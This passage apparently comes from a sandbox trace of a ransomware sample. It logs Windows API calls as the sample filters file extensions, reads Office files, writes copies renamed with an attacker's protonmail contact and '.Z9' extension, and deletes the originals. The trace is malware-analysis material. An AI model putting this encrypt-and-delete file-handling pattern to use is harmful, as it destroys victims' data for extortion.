	[0165.350] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0165.350] lstrlenW (lpString=".rar") returned 4
	[0165.350] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0165.350] lstrlenW (lpString=".bz2") returned 4
	[0165.350] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0165.350] lstrlenW (lpString=".7z") returned 3
	[0165.350] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0165.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.350] lstrlenW (lpString=".dbf") returned 4
	[0165.350] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0165.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.350] lstrlenW (lpString=".1cd") returned 4
	[0165.350] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0165.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.350] lstrlenW (lpString=".jpg") returned 4
	[0165.350] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0165.351] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.351] lstrlenW (lpString="ucrtbase.dll") returned 12
	[0165.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.521] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=982720) returned 1
	[0165.521] CloseHandle (hObject=0x3e0) returned 1
	[0165.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll")) returned 0x220
	[0165.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.871] lstrlenW (lpString=".doc") returned 4
	[0165.871] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.871] lstrlenW (lpString=".docx") returned 5
	[0165.871] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0165.872] lstrlenW (lpString=".pdf") returned 4
	[0165.872] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.872] lstrlenW (lpString=".xls") returned 4
	[0165.872] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.872] lstrlenW (lpString=".xlsx") returned 5
	[0165.873] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0165.874] lstrlenW (lpString=".ppt") returned 4
	[0165.875] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.876] lstrlenW (lpString=".zip") returned 4
	[0165.876] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.876] lstrlenW (lpString=".rar") returned 4
	[0165.879] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.879] lstrlenW (lpString=".bz2") returned 4
	[0165.879] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.881] lstrlenW (lpString=".7z") returned 3
	[0165.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.883] lstrlenW (lpString=".dbf") returned 4
	[0165.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.883] lstrlenW (lpString=".1cd") returned 4
	[0165.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.884] lstrlenW (lpString=".jpg") returned 4
	[0165.884] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.885] lstrlenW (lpString=".doc") returned 4
	[0165.885] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.885] lstrlenW (lpString=".docx") returned 5
	[0165.885] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0165.885] lstrlenW (lpString=".pdf") returned 4
	[0165.885] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.885] lstrlenW (lpString=".xls") returned 4
	[0165.885] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.885] lstrlenW (lpString=".xlsx") returned 5
	[0165.885] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0165.885] lstrlenW (lpString=".ppt") returned 4
	[0165.885] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.885] lstrlenW (lpString=".zip") returned 4
	[0165.885] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.885] lstrlenW (lpString=".rar") returned 4
	[0165.885] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.885] lstrlenW (lpString=".bz2") returned 4
	[0165.885] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.885] lstrlenW (lpString=".7z") returned 3
	[0165.885] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.885] lstrlenW (lpString=".dbf") returned 4
	[0165.885] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.885] lstrlenW (lpString=".1cd") returned 4
	[0165.885] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58
	[0165.885] lstrlenW (lpString=".jpg") returned 4
	[0165.885] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.886] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0165.886] lstrlenW (lpString="GRID_01.MID") returned 11
	[0165.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.976] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=6331) returned 1
	[0165.976] CloseHandle (hObject=0x4a8) returned 1
	[0165.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220
	[0165.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.977] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.977] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8
	[0165.983] GetLastError () returned 0x0
	[0165.983] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x18bb, lpOverlapped=0x0) returned 1
	[0165.987] WriteFile (in: hFile=0x4c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x18c0, lpOverlapped=0x0) returned 1
	[0165.989] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.989] WriteFile (in: hFile=0x4c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xea, lpOverlapped=0x0) returned 1
	[0165.989] SetEndOfFile (hFile=0x4c8) returned 1
	[0165.989] CloseHandle (hObject=0x4c8) returned 1
	[0165.989] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.990] SetEndOfFile (hFile=0x4a8) returned 1
	[0165.992] CloseHandle (hObject=0x4a8) returned 1
	[0165.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1
	[0165.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.993] lstrlenW (lpString=".doc") returned 4
	[0165.993] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.994] lstrlenW (lpString=".docx") returned 5
	[0165.994] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.994] lstrlenW (lpString=".pdf") returned 4
	[0165.994] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.994] lstrlenW (lpString=".xls") returned 4
	[0165.994] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.994] lstrlenW (lpString=".xlsx") returned 5
	[0165.994] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.994] lstrlenW (lpString=".ppt") returned 4
	[0165.994] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.994] lstrlenW (lpString=".zip") returned 4
	[0165.994] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.994] lstrlenW (lpString=".rar") returned 4
	[0165.994] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.994] lstrlenW (lpString=".bz2") returned 4
	[0165.994] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.994] lstrlenW (lpString=".7z") returned 3
	[0165.994] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.994] lstrlenW (lpString=".dbf") returned 4
	[0165.994] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.994] lstrlenW (lpString=".1cd") returned 4
	[0165.994] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.994] lstrlenW (lpString=".jpg") returned 4
	[0165.994] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.994] lstrlenW (lpString=".doc") returned 4
	[0165.994] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.994] lstrlenW (lpString=".docx") returned 5
	[0165.994] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.995] lstrlenW (lpString=".pdf") returned 4
	[0165.995] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.995] lstrlenW (lpString=".xls") returned 4
	[0165.995] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.995] lstrlenW (lpString=".xlsx") returned 5
	[0165.995] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.995] lstrlenW (lpString=".ppt") returned 4
	[0165.995] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.995] lstrlenW (lpString=".zip") returned 4
	[0165.995] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.995] lstrlenW (lpString=".rar") returned 4
	[0165.995] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.995] lstrlenW (lpString=".bz2") returned 4
	[0165.995] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.995] lstrlenW (lpString=".7z") returned 3
	[0165.995] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.995] lstrlenW (lpString=".dbf") returned 4
	[0165.995] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.995] lstrlenW (lpString=".1cd") returned 4
	[0165.995] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0165.995] lstrlenW (lpString=".jpg") returned 4
	[0165.995] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.995] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0165.995] lstrlenW (lpString="HTECH_01.MID") returned 12
	[0165.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0166.010] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=7178) returned 1
	[0166.010] CloseHandle (hObject=0x484) returned 1
	[0166.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220
	[0166.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.412] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.412] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0166.413] GetLastError () returned 0x0
	[0166.413] ReadFile (in: hFile=0x440, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x1c0a, lpOverlapped=0x0) returned 1
	[0166.688] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x1c10, lpOverlapped=0x0) returned 1
	[0166.689] ReadFile (in: hFile=0x440, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.689] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.689] SetEndOfFile (hFile=0x4b8) returned 1
	[0166.689] CloseHandle (hObject=0x4b8) returned 1
	[0166.689] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.689] SetEndOfFile (hFile=0x440) returned 1
	[0166.693] CloseHandle (hObject=0x440) returned 1
	[0166.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1
	[0167.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.291] lstrlenW (lpString=".doc") returned 4
	[0167.291] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.291] lstrlenW (lpString=".docx") returned 5
	[0167.291] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.291] lstrlenW (lpString=".pdf") returned 4
	[0167.291] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.291] lstrlenW (lpString=".xls") returned 4
	[0167.291] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.291] lstrlenW (lpString=".xlsx") returned 5
	[0167.291] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.291] lstrlenW (lpString=".ppt") returned 4
	[0167.291] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.291] lstrlenW (lpString=".zip") returned 4
	[0167.291] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.291] lstrlenW (lpString=".rar") returned 4
	[0167.291] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.291] lstrlenW (lpString=".bz2") returned 4
	[0167.291] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.291] lstrlenW (lpString=".7z") returned 3
	[0167.291] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.292] lstrlenW (lpString=".dbf") returned 4
	[0167.292] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.292] lstrlenW (lpString=".1cd") returned 4
	[0167.292] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.292] lstrlenW (lpString=".jpg") returned 4
	[0167.292] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.292] lstrlenW (lpString=".doc") returned 4
	[0167.292] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.292] lstrlenW (lpString=".docx") returned 5
	[0167.292] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.292] lstrlenW (lpString=".pdf") returned 4
	[0167.292] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.292] lstrlenW (lpString=".xls") returned 4
	[0167.292] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.292] lstrlenW (lpString=".xlsx") returned 5
	[0167.292] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.292] lstrlenW (lpString=".ppt") returned 4
	[0167.292] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.292] lstrlenW (lpString=".zip") returned 4
	[0167.293] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.293] lstrlenW (lpString=".rar") returned 4
	[0167.293] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.293] lstrlenW (lpString=".bz2") returned 4
	[0167.293] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.293] lstrlenW (lpString=".7z") returned 3
	[0167.293] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.293] lstrlenW (lpString=".dbf") returned 4
	[0167.293] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.293] lstrlenW (lpString=".1cd") returned 4
	[0167.293] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0167.293] lstrlenW (lpString=".jpg") returned 4
	[0167.293] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.293] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0167.293] lstrlenW (lpString="SUMER_01.MID") returned 12
	[0167.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.295] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=14044) returned 1
	[0167.295] CloseHandle (hObject=0x4a4) returned 1
	[0167.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220
	[0167.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.296] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.296] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
